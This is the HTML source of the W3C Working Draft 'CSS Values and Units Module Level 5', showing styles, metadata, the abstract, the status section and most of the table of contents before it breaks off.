CINXE.COM

<!doctype html><html lang="en"> <head> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="width=device-width, initial-scale=1, shrink-to-fit=no" name="viewport"> <title>CSS Values and Units Module Level 5</title> <meta content="WD" name="w3c-status"> <link href="https://www.w3.org/StyleSheets/TR/2021/W3C-WD" rel="stylesheet"> <meta content="Bikeshed version 0781e88e0, updated Fri Feb 14 13:26:46 2025 -0800" name="generator"> <link href="https://www.w3.org/TR/css-values-5/" rel="canonical"> <meta content="92032ab38b3b9daa3dd047b670cbfc1e5a3389f0" name="revision"> <meta content="dark light" name="color-scheme"> <link href="https://www.w3.org/StyleSheets/TR/2021/dark.css" media="(prefers-color-scheme: dark)" rel="stylesheet" type="text/css"> <style> code, small { white-space: nowrap } pre.value { font: inherit; white-space: pre-wrap; margin: 0; padding: 0; } #propvalues td { text-align: right; } #propvalues td + td { text-align: left; } dt + dt::before { content: ", "; } dl:not(.switch) dt { display: inline; } td > small { display: block; } </style> <style>/* Boilerplate: style-autolinks */ .css.css, .property.property, .descriptor.descriptor { color: var(--a-normal-text); font-size: inherit; font-family: inherit; } .css::before, .property::before, .descriptor::before { content: "‘"; } .css::after, .property::after, .descriptor::after { content: "’"; } .property, .descriptor { /* Don't wrap property and descriptor names */ white-space: nowrap; } .type { /* CSS value <type> */ font-style: italic; } pre .property::before, pre .property::after { content: ""; } [data-link-type="property"]::before, [data-link-type="propdesc"]::before, [data-link-type="descriptor"]::before, [data-link-type="value"]::before, [data-link-type="function"]::before, [data-link-type="at-rule"]::before, [data-link-type="selector"]::before, [data-link-type="maybe"]::before { content: "‘"; } [data-link-type="property"]::after, [data-link-type="propdesc"]::after, [data-link-type="descriptor"]::after, [data-link-type="value"]::after, [data-link-type="function"]::after, [data-link-type="at-rule"]::after, [data-link-type="selector"]::after, [data-link-type="maybe"]::after { content: "’"; } [data-link-type].production::before, [data-link-type].production::after, .prod [data-link-type]::before, .prod [data-link-type]::after { content: ""; } [data-link-type=element], [data-link-type=element-attr] { font-family: Menlo, Consolas, "DejaVu Sans Mono", monospace; font-size: .9em; } [data-link-type=element]::before { content: "<" } [data-link-type=element]::after { content: ">" } [data-link-type=biblio] { white-space: pre; } @media (prefers-color-scheme: dark) { :root { --selflink-text: black; --selflink-bg: silver; --selflink-hover-text: white; } } </style> <style>/* Boilerplate: style-colors */ /* Any --*-text not paired with a --*-bg is assumed to have a transparent bg */ :root { color-scheme: light dark; --text: black; --bg: white; --unofficial-watermark: url(https://www.w3.org/StyleSheets/TR/2016/logos/UD-watermark); --logo-bg: #1a5e9a; --logo-active-bg: #c00; --logo-text: white; --tocnav-normal-text: #707070; --tocnav-normal-bg: var(--bg); --tocnav-hover-text: var(--tocnav-normal-text); --tocnav-hover-bg: #f8f8f8; --tocnav-active-text: #c00; --tocnav-active-bg: var(--tocnav-normal-bg); --tocsidebar-text: var(--text); --tocsidebar-bg: #f7f8f9; --tocsidebar-shadow: rgba(0,0,0,.1); --tocsidebar-heading-text: hsla(203,20%,40%,.7); --toclink-text: var(--text); --toclink-underline: #3980b5; --toclink-visited-text: var(--toclink-text); --toclink-visited-underline: #054572; --heading-text: #005a9c; --hr-text: var(--text); --algo-border: #def; --del-text: red; --del-bg: transparent; --ins-text: #080; --ins-bg: transparent; --a-normal-text: #034575; --a-normal-underline: #bbb; --a-visited-text: var(--a-normal-text); --a-visited-underline: #707070; --a-hover-bg: rgba(75%, 75%, 75%, .25); --a-active-text: #c00; --a-active-underline: #c00; --blockquote-border: silver; --blockquote-bg: transparent; --blockquote-text: currentcolor; --issue-border: #e05252; --issue-bg: #fbe9e9; --issue-text: var(--text); --issueheading-text: #831616; --example-border: #e0cb52; --example-bg: #fcfaee; --example-text: var(--text); --exampleheading-text: #574b0f; --note-border: #52e052; --note-bg: #e9fbe9; --note-text: var(--text); --noteheading-text: hsl(120, 70%, 30%); --notesummary-underline: silver; --assertion-border: #aaa; --assertion-bg: #eee; --assertion-text: black; --advisement-border: orange; --advisement-bg: #fec; --advisement-text: var(--text); --advisementheading-text: #b35f00; --warning-border: red; --warning-bg: hsla(40,100%,50%,0.95); --warning-text: var(--text); --amendment-border: #330099; --amendment-bg: #F5F0FF; --amendment-text: var(--text); --amendmentheading-text: #220066; --def-border: #8ccbf2; --def-bg: #def; --def-text: var(--text); --defrow-border: #bbd7e9; --datacell-border: silver; --indexinfo-text: #707070; --indextable-hover-text: black; --indextable-hover-bg: #f7f8f9; --outdatedspec-bg: rgba(0, 0, 0, .5); --outdatedspec-text: black; --outdated-bg: maroon; --outdated-text: white; --outdated-shadow: red; --editedrec-bg: darkorange; } @media (prefers-color-scheme: dark) { :root { --text: #ddd; --bg: black; --unofficial-watermark: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='400' height='400'%3E%3Cg fill='%23100808' transform='translate(200 200) rotate(-45) translate(-200 -200)' stroke='%23100808' stroke-width='3'%3E%3Ctext x='50%25' y='220' style='font: bold 70px sans-serif; text-anchor: middle; letter-spacing: 6px;'%3EUNOFFICIAL%3C/text%3E%3Ctext x='50%25' y='305' style='font: bold 70px sans-serif; text-anchor: middle; letter-spacing: 6px;'%3EDRAFT%3C/text%3E%3C/g%3E%3C/svg%3E"); --logo-bg: #1a5e9a; --logo-active-bg: #c00; --logo-text: white; --tocnav-normal-text: #999; --tocnav-normal-bg: var(--bg); --tocnav-hover-text: var(--tocnav-normal-text); --tocnav-hover-bg: #080808; --tocnav-active-text: #f44; --tocnav-active-bg: var(--tocnav-normal-bg); --tocsidebar-text: var(--text); --tocsidebar-bg: #080808; --tocsidebar-shadow: rgba(255,255,255,.1); --tocsidebar-heading-text: hsla(203,20%,40%,.7); --toclink-text: var(--text); --toclink-underline: #6af; --toclink-visited-text: var(--toclink-text); --toclink-visited-underline: #054572; --heading-text: #8af; --hr-text: var(--text); --algo-border: #456; --del-text: #f44; --del-bg: transparent; --ins-text: #4a4; --ins-bg: transparent; --a-normal-text: #6af; --a-normal-underline: #555; --a-visited-text: var(--a-normal-text); --a-visited-underline: var(--a-normal-underline); --a-hover-bg: rgba(25%, 25%, 25%, .2); --a-active-text: #f44; --a-active-underline: var(--a-active-text); --borderedblock-bg: rgba(255, 255, 255, .05); --blockquote-border: silver; --blockquote-bg: var(--borderedblock-bg); --blockquote-text: currentcolor; --issue-border: #e05252; --issue-bg: var(--borderedblock-bg); --issue-text: var(--text); --issueheading-text: hsl(0deg, 70%, 70%); --example-border: hsl(50deg, 90%, 60%); --example-bg: var(--borderedblock-bg); --example-text: var(--text); --exampleheading-text: hsl(50deg, 70%, 70%); --note-border: hsl(120deg, 100%, 35%); --note-bg: var(--borderedblock-bg); --note-text: var(--text); --noteheading-text: hsl(120, 70%, 70%); --notesummary-underline: silver; --assertion-border: #444; --assertion-bg: var(--borderedblock-bg); --assertion-text: var(--text); --advisement-border: orange; --advisement-bg: #222218; --advisement-text: var(--text); --advisementheading-text: #f84; --warning-border: red; --warning-bg: hsla(40,100%,20%,0.95); --warning-text: var(--text); --amendment-border: #330099; --amendment-bg: #080010; --amendment-text: var(--text); --amendmentheading-text: #cc00ff; --def-border: #8ccbf2; --def-bg: #080818; --def-text: var(--text); --defrow-border: #136; --datacell-border: silver; --indexinfo-text: #aaa; --indextable-hover-text: var(--text); --indextable-hover-bg: #181818; --outdatedspec-bg: rgba(255, 255, 255, .5); --outdatedspec-text: black; --outdated-bg: maroon; --outdated-text: white; --outdated-shadow: red; --editedrec-bg: darkorange; } /* In case a transparent-bg image doesn't expect to be on a dark bg, which is quite common in practice... */ img { background: white; } } </style> <style>/* Boilerplate: style-counters */ body { counter-reset: example figure issue; } .issue { counter-increment: issue; } .issue:not(.no-marker)::before { content: "Issue " counter(issue); } .example { counter-increment: example; } .example:not(.no-marker)::before { content: "Example " counter(example); } .invalid.example:not(.no-marker)::before, .illegal.example:not(.no-marker)::before { content: "Invalid Example" counter(example); } figcaption { counter-increment: figure; } figcaption:not(.no-marker)::before { content: "Figure " counter(figure) " "; } </style> <style>/* Boilerplate: style-dfn-panel */ :root { --dfnpanel-bg: #ddd; --dfnpanel-text: var(--text); --dfnpanel-target-bg: #ffc; --dfnpanel-target-outline: orange; } @media (prefers-color-scheme: dark) { :root { --dfnpanel-bg: #222; --dfnpanel-text: var(--text); --dfnpanel-target-bg: #333; --dfnpanel-target-outline: silver; } } .dfn-panel { position: absolute; z-index: 35; width: 20em; width: 300px; height: auto; max-height: 500px; overflow: auto; padding: 0.5em 0.75em; font: small Helvetica Neue, sans-serif, Droid Sans Fallback; background: var(--dfnpanel-bg); color: var(--dfnpanel-text); border: outset 0.2em; white-space: normal; /* in case it's moved into a pre */ } .dfn-panel:not(.on) { display: none; } .dfn-panel * { margin: 0; padding: 0; text-indent: 0; } .dfn-panel > b { display: block; } .dfn-panel a { color: var(--dfnpanel-text); } .dfn-panel a:not(:hover) { text-decoration: none !important; border-bottom: none !important; } .dfn-panel a:focus { outline: 5px auto Highlight; outline: 5px auto -webkit-focus-ring-color; } .dfn-panel > b + b { margin-top: 0.25em; } .dfn-panel ul { padding: 0 0 0 1em; list-style: none; } .dfn-panel li a { max-width: calc(300px - 1.5em - 1em); overflow: hidden; text-overflow: ellipsis; } .dfn-panel.activated { display: inline-block; position: fixed; left: 8px; bottom: 2em; margin: 0 auto; max-width: calc(100vw - 1.5em - .4em - .5em); max-height: 30vh; transition: left 1s ease-out, bottom 1s ease-out; } .dfn-panel .link-item:hover { text-decoration: underline; } .dfn-panel .link-item .copy-icon { opacity: 0; } .dfn-panel .link-item:hover .copy-icon, .dfn-panel .link-item .copy-icon:focus { opacity: 1; } .dfn-panel .copy-icon { display: inline-block; margin-right: 0.5em; width: 0.85em; height: 1em; border-radius: 3px; background-color: #ccc; cursor: pointer; } .dfn-panel .copy-icon .icon { width: 100%; height: 100%; background-color: #fff; display: flex; justify-content: center; align-items: center; position: relative; } .dfn-panel .copy-icon .icon::before { content: ""; position: absolute; top: 0; left: 0; width: 100%; height: 100%; border: 1px solid black; background-color: #ccc; opacity: 0.25; transform: translate(3px, -3px); } .dfn-panel .copy-icon:active .icon::before { opacity: 1; } .dfn-paneled[role="button"] { cursor: help; } .highlighted { animation: target-fade 3s; } @keyframes target-fade { from { background-color: var(--dfnpanel-target-bg); outline: 5px solid var(--dfnpanel-target-outline); } to { color: var(--a-normal-text); background-color: transparent; outline: transparent; } } </style> <style>/* Boilerplate: style-issues */ a[href].issue-return { float: right; float: inline-end; color: var(--issueheading-text); font-weight: bold; text-decoration: none; } </style> <style>/* Boilerplate: style-md-lists */ /* This is a weird hack for me not yet following the commonmark spec regarding paragraph and lists. */ [data-md] > :first-child { margin-top: 0; } [data-md] > :last-child { margin-bottom: 0; } </style> <style>/* Boilerplate: style-ref-hints */ :root { --ref-hint-bg: #ddd; --ref-hint-text: var(--text); } @media (prefers-color-scheme: dark) { :root { --ref-hint-bg: #222; --ref-hint-text: var(--text); } } .ref-hint { display: inline-block; position: absolute; z-index: 35; width: 20em; width: 300px; height: auto; max-height: 500px; overflow: auto; padding: 0.5em 0.5em; font: small Helvetica Neue, sans-serif, Droid Sans Fallback; background: var(--ref-hint-bg); color: var(--ref-hint-text); border: outset 0.2em; white-space: normal; /* in case it's moved into a pre */ } .ref-hint * { margin: 0; padding: 0; text-indent: 0; } .ref-hint ul { padding: 0 0 0 1em; list-style: none; } </style> <style>/* Boilerplate: style-selflinks */ :root { --selflink-text: white; --selflink-bg: gray; --selflink-hover-text: black; } .heading, .issue, .note, .example, li, dt { position: relative; } a.self-link { position: absolute; top: 0; left: calc(-1 * (3.5rem - 26px)); width: calc(3.5rem - 26px); height: 2em; text-align: center; border: none; transition: opacity .2s; opacity: .5; } a.self-link:hover { opacity: 1; } .heading > a.self-link { font-size: 83%; } .example > a.self-link, .note > a.self-link, .issue > a.self-link { /* These blocks are overflow:auto, so positioning outside doesn't work. */ left: auto; right: 0; } li > a.self-link { left: calc(-1 * (3.5rem - 26px) - 2em); } dfn > a.self-link { top: auto; left: auto; opacity: 0; width: 1.5em; height: 1.5em; background: var(--selflink-bg); color: var(--selflink-text); font-style: normal; transition: opacity .2s, background-color .2s, color .2s; } dfn:hover > a.self-link { opacity: 1; } dfn > a.self-link:hover { color: var(--selflink-hover-text); } a.self-link::before { content: "¶"; } .heading > a.self-link::before { content: "§"; } dfn > a.self-link::before { content: "#"; } </style> <style>/* Boilerplate: style-syntax-highlighting */ code.highlight { padding: .1em; border-radius: .3em; } pre.highlight, pre > code.highlight { display: block; padding: 1em; margin: .5em 0; overflow: auto; border-radius: 0; } .highlight:not(.idl) { background: rgba(0, 0, 0, .03); } c-[a] { color: #990055 } /* Keyword.Declaration */ c-[b] { color: #990055 } /* Keyword.Type */ c-[c] { color: #708090 } /* Comment */ c-[d] { color: #708090 } /* Comment.Multiline */ c-[e] { color: #0077aa } /* Name.Attribute */ c-[f] { color: #669900 } /* Name.Tag */ c-[g] { color: #222222 } /* Name.Variable */ c-[k] { color: #990055 } /* Keyword */ c-[l] { color: #000000 } /* Literal */ c-[m] { color: #000000 } /* Literal.Number */ c-[n] { color: #0077aa } /* Name */ c-[o] { color: #999999 } /* Operator */ c-[p] { color: #999999 } /* Punctuation */ c-[s] { color: #a67f59 } /* Literal.String */ c-[t] { color: #a67f59 } /* Literal.String.Single */ c-[u] { color: #a67f59 } /* Literal.String.Double */ c-[cp] { color: #708090 } /* Comment.Preproc */ c-[c1] { color: #708090 } /* Comment.Single */ c-[cs] { color: #708090 } /* Comment.Special */ c-[kc] { color: #990055 } /* Keyword.Constant */ c-[kn] { color: #990055 } /* Keyword.Namespace */ c-[kp] { color: #990055 } /* Keyword.Pseudo */ c-[kr] { color: #990055 } /* Keyword.Reserved */ c-[ld] { color: #000000 } /* Literal.Date */ c-[nc] { color: #0077aa } /* Name.Class */ c-[no] { color: #0077aa } /* Name.Constant */ c-[nd] { color: #0077aa } /* Name.Decorator */ c-[ni] { color: #0077aa } /* Name.Entity */ c-[ne] { color: #0077aa } /* Name.Exception */ c-[nf] { color: #0077aa } /* Name.Function */ c-[nl] { color: #0077aa } /* Name.Label */ c-[nn] { color: #0077aa } /* Name.Namespace */ c-[py] { color: #0077aa } /* Name.Property */ c-[ow] { color: #999999 } /* Operator.Word */ c-[mb] { color: #000000 } /* Literal.Number.Bin */ c-[mf] { color: #000000 } /* Literal.Number.Float */ c-[mh] { color: #000000 } /* Literal.Number.Hex */ c-[mi] { color: #000000 } /* Literal.Number.Integer */ c-[mo] { color: #000000 } /* Literal.Number.Oct */ c-[sb] { color: #a67f59 } /* Literal.String.Backtick */ c-[sc] { color: #a67f59 } /* Literal.String.Char */ c-[sd] { color: #a67f59 } /* Literal.String.Doc */ c-[se] { color: #a67f59 } /* Literal.String.Escape */ c-[sh] { color: #a67f59 } /* Literal.String.Heredoc */ c-[si] { color: #a67f59 } /* Literal.String.Interpol */ c-[sx] { color: #a67f59 } /* Literal.String.Other */ c-[sr] { color: #a67f59 } /* Literal.String.Regex */ c-[ss] { color: #a67f59 } /* Literal.String.Symbol */ c-[vc] { color: #0077aa } /* Name.Variable.Class */ c-[vg] { color: #0077aa } /* Name.Variable.Global */ c-[vi] { color: #0077aa } /* Name.Variable.Instance */ c-[il] { color: #000000 } /* Literal.Number.Integer.Long */ @media (prefers-color-scheme: dark) { .highlight:not(.idl) { background: rgba(255, 255, 255, .05); } c-[a] { color: #d33682 } /* Keyword.Declaration */ c-[b] { color: #d33682 } /* Keyword.Type */ c-[c] { color: #2aa198 } /* Comment */ c-[d] { color: #2aa198 } /* Comment.Multiline */ c-[e] { color: #268bd2 } /* Name.Attribute */ c-[f] { color: #b58900 } /* Name.Tag */ c-[g] { color: #cb4b16 } /* Name.Variable */ c-[k] { color: #d33682 } /* Keyword */ c-[l] { color: #657b83 } /* Literal */ c-[m] { color: #657b83 } /* Literal.Number */ c-[n] { color: #268bd2 } /* Name */ c-[o] { color: #657b83 } /* Operator */ c-[p] { color: #657b83 } /* Punctuation */ c-[s] { color: #6c71c4 } /* Literal.String */ c-[t] { color: #6c71c4 } /* Literal.String.Single */ c-[u] { color: #6c71c4 } /* Literal.String.Double */ c-[ch] { color: #2aa198 } /* Comment.Hashbang */ c-[cp] { color: #2aa198 } /* Comment.Preproc */ c-[cpf] { color: #2aa198 } /* Comment.PreprocFile */ c-[c1] { color: #2aa198 } /* Comment.Single */ c-[cs] { color: #2aa198 } /* Comment.Special */ c-[kc] { color: #d33682 } /* Keyword.Constant */ c-[kn] { color: #d33682 } /* Keyword.Namespace */ c-[kp] { color: #d33682 } /* Keyword.Pseudo */ c-[kr] { color: #d33682 } /* Keyword.Reserved */ c-[ld] { color: #657b83 } /* Literal.Date */ c-[nc] { color: #268bd2 } /* Name.Class */ c-[no] { color: #268bd2 } /* Name.Constant */ c-[nd] { color: #268bd2 } /* Name.Decorator */ c-[ni] { color: #268bd2 } /* Name.Entity */ c-[ne] { color: #268bd2 } /* Name.Exception */ c-[nf] { color: #268bd2 } /* Name.Function */ c-[nl] { color: #268bd2 } /* Name.Label */ c-[nn] { color: #268bd2 } /* Name.Namespace */ c-[py] { color: #268bd2 } /* Name.Property */ c-[ow] { color: #657b83 } /* Operator.Word */ c-[mb] { color: #657b83 } /* Literal.Number.Bin */ c-[mf] { color: #657b83 } /* Literal.Number.Float */ c-[mh] { color: #657b83 } /* Literal.Number.Hex */ c-[mi] { color: #657b83 } /* Literal.Number.Integer */ c-[mo] { color: #657b83 } /* Literal.Number.Oct */ c-[sa] { color: #6c71c4 } /* Literal.String.Affix */ c-[sb] { color: #6c71c4 } /* Literal.String.Backtick */ c-[sc] { color: #6c71c4 } /* Literal.String.Char */ c-[dl] { color: #6c71c4 } /* Literal.String.Delimiter */ c-[sd] { color: #6c71c4 } /* Literal.String.Doc */ c-[se] { color: #6c71c4 } /* Literal.String.Escape */ c-[sh] { color: #6c71c4 } /* Literal.String.Heredoc */ c-[si] { color: #6c71c4 } /* Literal.String.Interpol */ c-[sx] { color: #6c71c4 } /* Literal.String.Other */ c-[sr] { color: #6c71c4 } /* Literal.String.Regex */ c-[ss] { color: #6c71c4 } /* Literal.String.Symbol */ c-[fm] { color: #268bd2 } /* Name.Function.Magic */ c-[vc] { color: #cb4b16 } /* Name.Variable.Class */ c-[vg] { color: #cb4b16 } /* Name.Variable.Global */ c-[vi] { color: #cb4b16 } /* Name.Variable.Instance */ c-[vm] { color: #cb4b16 } /* Name.Variable.Magic */ c-[il] { color: #657b83 } /* Literal.Number.Integer.Long */ } </style> <style>/* Boilerplate: style-var-click-highlighting */ /* Colors were chosen in Lab using https://nixsensor.com/free-color-converter/ D50 2deg illuminant, L in [0,100], a and b in [-128, 128] 0 = lab(85,0,85) 1 = lab(85,80,30) 2 = lab(85,-40,40) 3 = lab(85,-50,0) 4 = lab(85,5,15) 5 = lab(85,-10,-50) 6 = lab(85,35,-15) For darkmode: 0 = oklab(50% 0% 108%) 1 = oklab(50% -51% 51%) 2 = oklab(50% -64% -20%) 3 = oklab(50% 6% 19%) 4 = oklab(50% -12% -64%) 5 = oklab(50% 44% -19%) 6 = oklab(50% 102% 38%) */ [data-algorithm] var { cursor: pointer; } var[data-var-color] { background-color: var(--var-bg); box-shadow: 0 0 0 2px var(--var-bg); } var[data-var-color] { --var-bg: #F4D200; } var[data-var-color="1"] { --var-bg: #FF87A2; } var[data-var-color="2"] { --var-bg: #96E885; } var[data-var-color="3"] { --var-bg: #3EEED2; } var[data-var-color="4"] { --var-bg: #EACFB6; } var[data-var-color="5"] { --var-bg: #82DDFF; } var[data-var-color="6"] { --var-vg: #FFBCF2; } @media (prefers-color-scheme: dark) { var[data-var-color] { --var-bg: #bc1a00; } var[data-var-color="1"] { --var-bg: #007f00; } var[data-var-color="2"] { --var-bg: #008698; } var[data-var-color="3"] { --var-bg: #7f5b2b; } var[data-var-color="4"] { --var-bg: #004df3; } var[data-var-color="5"] { --var-bg: #a1248a; } var[data-var-color="6"] { --var-vg: #ff0000; } } </style> <body class="h-entry"> <div class="head"> <a class="logo" href="https://www.w3.org/"> <img alt="W3C" height="48" src="https://www.w3.org/StyleSheets/TR/2021/logos/W3C" width="72"> </a> <h1 class="p-name no-ref" id="title">CSS Values and Units Module Level 5</h1> <a href="https://www.w3.org/standards/types/#WD">W3C Working Draft</a>, <time class="dt-updated" datetime="2025-02-14">14 February 2025</time> <details open> <summary>More details about this document</summary> <div data-fill-with="spec-metadata"> <dl> <dt>This version: <dd><a class="u-url" href="https://www.w3.org/TR/2025/WD-css-values-5-20250214/">https://www.w3.org/TR/2025/WD-css-values-5-20250214/</a> <dt>Latest published version: <dd><a href="https://www.w3.org/TR/css-values-5/">https://www.w3.org/TR/css-values-5/</a> <dt>Editor's Draft: <dd><a href="https://drafts.csswg.org/css-values-5/">https://drafts.csswg.org/css-values-5/</a> <dt>History: <dd><a class="u-url" href="https://www.w3.org/standards/history/css-values-5/">https://www.w3.org/standards/history/css-values-5/</a> <dt>Feedback: <dd><a href="https://github.com/w3c/csswg-drafts/labels/css-values-5">CSSWG Issues Repository</a> <dd><a href="#issues-index">Inline In Spec</a> <dt class="editor">Editors: <dd class="editor p-author h-card vcard" data-editor-id="42199"><a class="p-name fn u-url url" href="http://xanthir.com/contact/">Tab Atkins</a> (Google) <dd class="editor p-author h-card vcard" data-editor-id="35400"><a class="p-name fn u-url url" href="http://fantasai.inkedblade.net/contact">Elika J. Etemad / fantasai</a> (Apple) <dd class="editor p-author h-card vcard" data-editor-id="117151"><a class="p-name fn u-url url" href="http://miriamsuzanne.com/contact">Miriam E. Suzanne</a> (Invited Expert) <dt>Suggest an Edit for this Spec: <dd><a href="https://github.com/w3c/csswg-drafts/blob/main/css-values-5/Overview.bs">GitHub Editor</a> <dt>Test Suite: <dd class="wpt-overview"><a href="https://wpt.fyi/results/css/css-variables/">https://wpt.fyi/results/css/css-variables/</a> </dl> </div> </details> <div data-fill-with="warning"></div> <a href="https://www.w3.org/policies/#copyright">Copyright</a> © 2025 <a href="https://www.w3.org/">World Wide Web Consortium</a>. <abbr title="World Wide Web Consortium">W3C</abbr>® <a href="https://www.w3.org/policies/#Legal_Disclaimer">liability</a>, <a href="https://www.w3.org/policies/#W3C_Trademarks">trademark</a> and <a href="https://www.w3.org/copyright/software-license/" rel="license" title="W3C Software and Document License">permissive document license</a> rules apply. <hr title="Separator for header"> </div> <div class="p-summary" data-fill-with="abstract"> <h2 class="no-num no-toc no-ref heading settled" id="abstract">Abstract</h2> This CSS module describes the common values and units that CSS properties accept and the syntax used for describing them in CSS property definitions. <a href="https://www.w3.org/TR/CSS/">CSS</a> is a language for describing the rendering of structured documents (such as HTML and XML) on screen, on paper, etc. <script> const githubPrefix = "https://w3c.github.io/csswg-drafts/"; if(location.href.slice(0, githubPrefix.length) == githubPrefix) { const suffix = location.href.slice(githubPrefix.length); const draftUrl = "https://drafts.csswg.org/" + suffix; window.location.replace(draftUrl); } </script> </div> <h2 class="no-num no-toc no-ref heading settled" id="sotd">Status of this document</h2> <div data-fill-with="status"> This section describes the status of this document at the time of its publication. A list of current W3C publications and the latest revision of this technical report can be found in the <a href="https://www.w3.org/TR/">W3C technical reports index at https://www.w3.org/TR/.</a> This document was published by the <a href="https://www.w3.org/groups/wg/css">CSS Working Group</a> as a Working Draft using the <a href="https://www.w3.org/policies/process/20231103/#recs-and-notes">Recommendation track</a>. Publication as a Working Draft does not imply endorsement by <abbr title="World Wide Web Consortium">W3C</abbr> and its Members. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress. Please send feedback by <a href="https://github.com/w3c/csswg-drafts/issues">filing issues in GitHub</a> (preferred), including the spec code “css-values” in the title, like this: “[css-values] …summary of comment…”. All issues and comments are <a href="https://lists.w3.org/Archives/Public/public-css-archive/">archived</a>. Alternately, feedback can be sent to the (<a href="https://lists.w3.org/Archives/Public/www-style/">archived</a>) public mailing list <a href="mailto:www-style@w3.org?Subject=%5Bcss-values%5D%20PUT%20SUBJECT%20HERE">www-style@w3.org</a>. This document is governed by the <a href="https://www.w3.org/policies/process/20231103/" id="w3c_process_revision">03 November 2023 W3C Process Document</a>. This document was produced by a group operating under the <a href="https://www.w3.org/policies/patent-policy/20200915/">W3C Patent Policy</a>. W3C maintains a <a href="https://www.w3.org/groups/wg/css/ipr" rel="disclosure">public list of any patent disclosures</a> made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains <a href="https://www.w3.org/policies/patent-policy/20200915/#def-essential">Essential Claim(s)</a> must disclose the information in accordance with <a href="https://www.w3.org/policies/patent-policy/20200915/#sec-Disclosure">section 6 of the W3C Patent Policy</a>. This spec is in the early exploration phase. Feedback is welcome, and and major breaking changes are expected. </div> <div data-fill-with="at-risk"></div> <nav data-fill-with="table-of-contents" id="toc"> <h2 class="no-num no-toc no-ref" id="contents">Table of Contents</h2> <ol class="toc" role="directory"> <li> <a href="#intro">1 Introduction</a> <ol class="toc"> <li><a href="#placement">1.1 Module Interactions</a> </ol> <li><a href="#textual-values">2 Textual Data Types</a> <li> <a href="#value-defs">3 Value Definition Syntax</a> <ol class="toc"> <li> <a href="#component-functions">3.1 Functional Notation Definitions</a> <ol class="toc"> <li><a href="#component-function-commas">3.1.1 Commas in Function Arguments</a> </ol> <li><a href="#boolean">3.2 Boolean Expression Multiplier <boolean-expr[]></a> <li> <a href="#css-syntax">3.3 Specifying CSS Syntax in CSS: the <syntax> type</a> <ol class="toc"> <li><a href="#parse-syntax">3.3.1 Parsing as <syntax></a> </ol> </ol> <li> <a href="#level-4-extensions">4 Extensions to Level 4 Value Types</a> <ol class="toc"> <li> <a href="#urls">4.1 Resource Locators: the <url> type</a> <ol class="toc"> <li><a href="#request-url-modifiers">4.1.1 Request URL Modifiers</a> </ol> <li> <a href="#position">4.2 2D Positioning: the <position> type</a> <ol class="toc"> <li><a href="#position-parsing">4.2.1 Parsing <position></a> <li><a href="#position-serialization">4.2.2 Serializing <position></a> <li><a href="#combine-positions">4.2.3 Combination of <position></a> </ol> </ol> <li> <a href="#progress">5 Interpolation Progress Functional Notations</a> <ol class="toc"> <li><a href="#progress-func">5.1 Calculated Progress Values: the progress() notation</a> <li><a href="#media-progress-func">5.2 Media Query Progress Values: the media-progress() notation</a> <li><a href="#container-progress-func">5.3 Container Query Progress Values: the container-progress() notation</a> </ol> <li> <a href="#mixing">6 Mixing and Interpolation Notations: the *-mix() family</a> <ol class="toc"> <li><a href="#progress-type">6.1 Representing Interpolation Progress: the <progress> type</a> <li><a href="#calc-mix">6.2 Interpolated Numeric and Dimensional Values: the calc-mix() notation</a> <li><a href="#color-mix">6.3 Interpolated Color Values: the color-mix() notation</a> <li><a href="#cross-fade">6.4 Interpolated Image Values: the cross-fade() notation</a> <li><a href="#transform-mix">6.5 Interpolated Transform Values: the transform-mix() notation</a> <li><a href="#mix">6.6 Interpolated Property Values: the mix() notation</a> </ol> <li> <a href="#value-insert">7 Miscellaneous Value Substituting Functions</a> <ol class="toc"> <li><a href="#whole-value">7.1 Representing An Entire Property Value: the <whole-value> type</a> <li><a href="#first-valid">7.2 Selecting the First Supported Value: the first-valid() notation</a> <li><a href="#if-notation">7.3 Conditional Value Selection: the if() notation</a> <li><a href="#toggle-notation">7.4 Toggling Between Values: the toggle() notation</a> <li><a href="#var-notation">7.5 Custom Property References: the var() notation</a> <li><a href="#inherit-notation">7.6 Inherited Value References: the inherit() notation</a> <li> <a href="#attr-notation">7.7 Attribute References: the attr() notation</a> <ol class="toc"> <li><a href="#attr-substitution">7.7.1 Attribute Value Substitution: the attr() notation</a> <li><a href="#attr-security">7.7.2 Security</a> <li><a href="#attr-cycles">7.7.3 Cycles</a> </ol> <li><a href="#ident">7.8 Constructing <custom-ident> values: the ident() function</a> </ol> <li> <a href="#randomness">8 Generating Random Values</a> <ol class="toc"> <li> <a href="#random">8.1 Generating a Random Numeric Value: the random() function</a> <ol class="toc"> <li><a href="#random-infinities">8.1.1 Argument Ranges</a> </ol> <li><a href="#random-item">8.2 Picking a Random Item From a List: the random-item() function</a> <li><a href="#random-caching">8.3 Generating/Caching Random Values: the <random-caching-options> value</a> </ol> <li><a href="#tree-counting">9 Tree Counting Functions: the sibling-count() and sibling-index() notations</a> <li> <a href="#calc-size">10 Calculating With Intrinsic Sizes: the calc-size() function</a> <ol class="toc"> <li><a href="#simplifying-calc-size">10.1 Simplifying calc-size()</a> <li><a href="#resolving-calc-size">10.2 Resolving calc-size()</a> <li><a href="#interp-calc-size">10.3 Interpolating calc-size()</a> <li><a href="#interpolate-size">10.4 Interpolating sizing keywords: the interpolate-size property</a> </ol> <li> <a href="#arbitrary-substitution"> Appendix A: Arbitrary Substitution Functions</a> <ol class="toc"> <li><a href="#invalid-substitution"> Invalid Substitution</a> <li><a href="#substitution-in-shorthands"> Substitution in Shorthand Properties</a> <li><a href="#long-substitution"> Safely Handling Overly-Long Substitution</a> </ol> <li><a href="#boolean-logic"> Appendix B: Boolean Logic</a> <li><a href="#acknowledgments"> Acknowledgments</a> <li> <a href="#changes"> Changes</a> <ol class="toc"> <li><a href="#additions-L4"> Additions Since Level 4</a> </ol> <li><a href="#security"> Security Considerations</a> <li><a href="#privacy"> Privacy Considerations</a> <li> <a href="#w3c-conformance"> Conformance</a> <ol class="toc"> <li><a href="#w3c-conventions"> Document conventions</a> <li><a href="#w3c-conformance-classes"> Conformance classes</a> <li> <a href="#w3c-partial"> Partial implementations</a> <ol class="toc"> <li><a href="#w3c-conform-future-proofing"> Implementations of Unstable and Proprietary Features</a> </ol> <li><a href="#w3c-testing"> Non-experimental implementations</a> </ol> <li> <a href="#index"> Index</a> <ol class="toc"> <li><a href="#index-defined-here"> 